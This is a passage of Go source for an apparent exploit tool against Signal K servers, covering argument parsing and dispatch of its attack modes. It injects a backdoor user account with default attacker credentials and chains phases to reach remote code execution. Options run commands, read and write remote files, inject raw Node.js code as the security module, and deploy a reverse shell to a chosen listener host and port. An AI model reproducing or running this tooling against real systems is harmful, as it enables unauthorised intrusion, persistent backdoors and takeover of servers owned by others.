logWarn(" Use -admin-user and -admin-pass to run the full exploit chain.")
logWarn(" Assuming backdoor account is already active from a previous run.")
fmt.Println()
}
if needsPhase3 && gSignalkDir == "" {
logErr("Signal K data directory is required for Phase 3 but was not set.")
logErr(" Run Phase 2 first (auto-detects the path), or pass -signalk-dir <path>.")
logErr(" WARNING: a wrong path will corrupt the Signal K server config.")
os.Exit(1)
}
switch {
case readFile != "":
tryRCE(target, backdoorName, backdoorPass, adminName, adminPass, osReadCmd(readFile))
case writeFilePath != "":
tryRCE(target, backdoorName, backdoorPass, adminName, adminPass, osWriteCmd(writeFileContent, writeFilePath))
case command != "":
tryRCE(target, backdoorName, backdoorPass, adminName, adminPass, command)
case code != "":
tryCode(target, backdoorName, backdoorPass, adminName, adminPass, code)
case shell:
tryShell(target, backdoorName, backdoorPass, adminName, adminPass, lhost, lport)
}
}
func main() {
fmt.Println(banner)
fmt.Printf(" \033[95m\033[1m%s\033[0m\n", githubURL)
fmt.Println()
targetFlag := flag.String("target", "", "Base URL of the Signal K server")
useragentFlag := flag.String("useragent", defaultUserAgent, "User-Agent header for all HTTP requests")
timeoutFlag := flag.Int("timeout", 10, "Request timeout in seconds (default: 10)")
targetOSFlag := flag.String("target-os", "linux", "Target server OS for payload/path adaptation: linux (default) or windows")
signalkDirFlag := flag.String("signalk-dir", "", "Override the Signal K data directory on the target (default: OS-dependent)")
checkFlag := flag.Bool("check", false, "Test if the target is vulnerable without exploiting it")
adminUserFlag := flag.String("admin-user", "", "Admin username for Phase 2 restore")
adminPassFlag := flag.String("admin-pass", "", "Admin password for Phase 2 restore")
backdoorUserFlag := flag.String("backdoor-user", defaultAttacker, "Backdoor username to inject (default: "+defaultAttacker+")")
backdoorPassFlag := flag.String("backdoor-pass", defaultPassword, "Backdoor password to inject (default: "+defaultPassword+")")
commandFlag := flag.String("command", "", "Execute a command on the server (non-interactive)")
readFileFlag := flag.String("read-file", "", "Read a remote file via RCE")
writeContent := flag.String("write-file-content", "", "Content to write to a remote file (use with -write-file-path)")
writePath := flag.String("write-file-path", "", "Remote path to write to (use with -write-file-content)")
codeFlag := flag.String("code", "", "Inject raw Node.js code as the security module")
shellFlag := flag.Bool("shell", false, "Deploy a reverse shell (requires -lhost and -lport)")
lhostFlag := flag.String("lhost", "", "Listener host for reverse shell")
lportFlag := flag.Int("lport", 0, "Listener port for reverse shell")
flag.Parse()
gUserAgent = *useragentFlag
gTimeout = time.Duration(*timeoutFlag) * time.Second
gTargetOS = *targetOSFlag
gSignalkDir = *signalkDirFlag
gClient = newHTTPClient(gTimeout)
// handle SIGINT
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, os.Interrupt)
go func() {
<-sigCh
fmt.Println()
os.Exit(0)
}()
nonInteractive := *checkFlag || *commandFlag != "" || *readFileFlag != "" ||
*writePath != "" || *codeFlag != "" || *shellFlag
if nonInteractive {
if strings.TrimSpace(*targetFlag) == "" {
logErr("-target is required.")
os.Exit(1)
}
target := normaliseTarget(*targetFlag)
checkReachable(target)
runNonInteractive(
target,
*backdoorUserFlag, *backdoorPassFlag,
*adminUserFlag, *adminPassFlag,
*checkFlag,
*readFileFlag, *writeContent, *writePath,
*commandFlag, *codeFlag,
*shellFlag, *lhostFlag, *lportFlag,
)
} else {
interactiveMode(*targetFlag)
}
}